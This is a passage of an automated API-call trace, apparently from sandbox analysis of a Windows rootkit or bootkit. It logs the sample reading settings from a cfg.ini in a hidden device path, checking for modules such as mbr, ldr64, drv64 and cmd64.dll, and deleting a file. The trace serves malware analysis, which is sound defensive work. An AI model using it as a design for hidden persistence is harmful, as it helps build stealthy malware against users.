ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.774] KeLeaveCriticalRegion () [0119.774] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.774] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.774] KeEnterCriticalRegion () [0119.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.774] ExFreePoolWithTag (P=0xfffffa8003bcc9c0, Tag=0x0) [0119.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.774] KeLeaveCriticalRegion () [0119.774] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.774] ReleaseMutex (hMutex=0xf0) returned 1 [0119.774] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.780] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.781] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.781] KeEnterCriticalRegion () [0119.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.781] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.781] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.781] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.781] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.781] IdePortDispatch () returned 0x103 [0119.781] KeWaitForMutexObject () returned 0x0 [0119.781] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.781] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.781] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.781] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.781] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.781] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bccfb0 [0119.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.781] KeLeaveCriticalRegion () [0119.781] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.781] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.781] KeEnterCriticalRegion () [0119.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.781] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.781] KeLeaveCriticalRegion () [0119.781] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.781] KeEnterCriticalRegion () [0119.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.781] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.781] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.781] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.781] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.781] IdePortDispatch () returned 0x103 [0119.781] KeWaitForMutexObject () returned 0x0 [0119.782] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.782] KeLeaveCriticalRegion () [0119.782] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.782] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.782] KeEnterCriticalRegion () [0119.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.782] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035dc000 [0119.782] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.782] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.782] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.782] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.782] IdePortDispatch () returned 0x103 [0119.782] KeWaitForMutexObject () returned 0x0 [0119.782] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.782] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.782] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.782] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.782] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.782] IdePortDispatch () returned 0x103 [0119.782] KeWaitForMutexObject () returned 0x0 [0119.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.783] KeLeaveCriticalRegion () [0119.783] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.783] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.783] KeEnterCriticalRegion () [0119.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.783] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.783] KeLeaveCriticalRegion () [0119.783] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.783] KeEnterCriticalRegion () [0119.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.783] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.783] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdab30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.783] KeLeaveCriticalRegion () [0119.783] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.783] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.783] KeEnterCriticalRegion () [0119.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.783] ExFreePoolWithTag (P=0xfffffa8003bccfb0, Tag=0x0) [0119.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.783] KeLeaveCriticalRegion () [0119.783] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.783] ReleaseMutex (hMutex=0xf0) returned 1 [0119.784] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.784] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.784] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.784] KeEnterCriticalRegion () [0119.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.784] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.784] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.784] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.784] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.784] IdePortDispatch () returned 0x103 [0119.784] KeWaitForMutexObject () returned 0x0 [0119.784] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.784] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.784] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.784] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.784] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.784] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcc9c0 [0119.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.784] KeLeaveCriticalRegion () [0119.784] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.784] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.784] KeEnterCriticalRegion () [0119.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.784] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.784] KeLeaveCriticalRegion () [0119.785] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.785] KeEnterCriticalRegion () [0119.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.785] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.785] IdePortDispatch () returned 0x103 [0119.785] KeWaitForMutexObject () returned 0x0 [0119.785] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.785] KeLeaveCriticalRegion () [0119.785] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.785] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.785] KeEnterCriticalRegion () [0119.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.785] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035dd000 [0119.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.785] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.785] IdePortDispatch () returned 0x103 [0119.785] KeWaitForMutexObject () returned 0x0 [0119.785] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.786] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.786] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.786] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.786] IdePortDispatch () returned 0x103 [0119.786] KeWaitForMutexObject () returned 0x0 [0119.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.786] KeLeaveCriticalRegion () [0119.786] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.786] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.786] KeEnterCriticalRegion () [0119.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.786] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.786] KeLeaveCriticalRegion () [0119.786] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.786] KeEnterCriticalRegion () [0119.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.786] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.786] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcca80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.787] KeLeaveCriticalRegion () [0119.787] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.787] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.787] KeEnterCriticalRegion () [0119.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.787] ExFreePoolWithTag (P=0xfffffa8003bcc9c0, Tag=0x0) [0119.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.787] KeLeaveCriticalRegion () [0119.787] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.787] ReleaseMutex (hMutex=0xf0) returned 1 [0119.787] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.787] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.787] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.787] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.787] KeEnterCriticalRegion () [0119.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.787] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.787] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.787] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.787] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.787] IdePortDispatch () returned 0x103 [0119.787] KeWaitForMutexObject () returned 0x0 [0119.787] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.787] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.787] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.787] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.787] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.787] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.787] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.787] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.787] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.787] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.787] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.787] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.788] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.788] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.788] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.788] KeLeaveCriticalRegion () [0119.788] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.788] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.788] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.788] KeEnterCriticalRegion () [0119.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.788] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.788] IdePortDispatch () returned 0x103 [0119.788] KeWaitForMutexObject () returned 0x0 [0119.788] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.788] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.788] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.788] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.788] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.788] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.788] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.788] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.788] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.788] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.788] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.788] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.788] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.788] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.788] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.788] KeLeaveCriticalRegion () [0119.788] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.788] ReleaseMutex (hMutex=0x100) returned 1 [0119.789] Sleep (dwMilliseconds=0x2bf20) [0119.795] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a98f670, dwHighDateTime=0x1d24fa4)) [0119.795] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.795] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.795] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.795] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.795] KeEnterCriticalRegion () [0119.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.795] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.795] IdePortDispatch () returned 0x103 [0119.795] KeWaitForMutexObject () returned 0x0 [0119.796] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.796] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.796] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.796] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.796] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.796] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bccfb0 [0119.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.796] KeLeaveCriticalRegion () [0119.796] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.796] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.796] KeEnterCriticalRegion () [0119.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.796] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.796] KeLeaveCriticalRegion () [0119.796] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.796] KeEnterCriticalRegion () [0119.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.796] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.796] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.796] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.796] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.796] IdePortDispatch () returned 0x103 [0119.796] KeWaitForMutexObject () returned 0x0 [0119.796] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.796] KeLeaveCriticalRegion () [0119.796] IofCompleteRequest (Irp=0xfffffa80039d7d20, 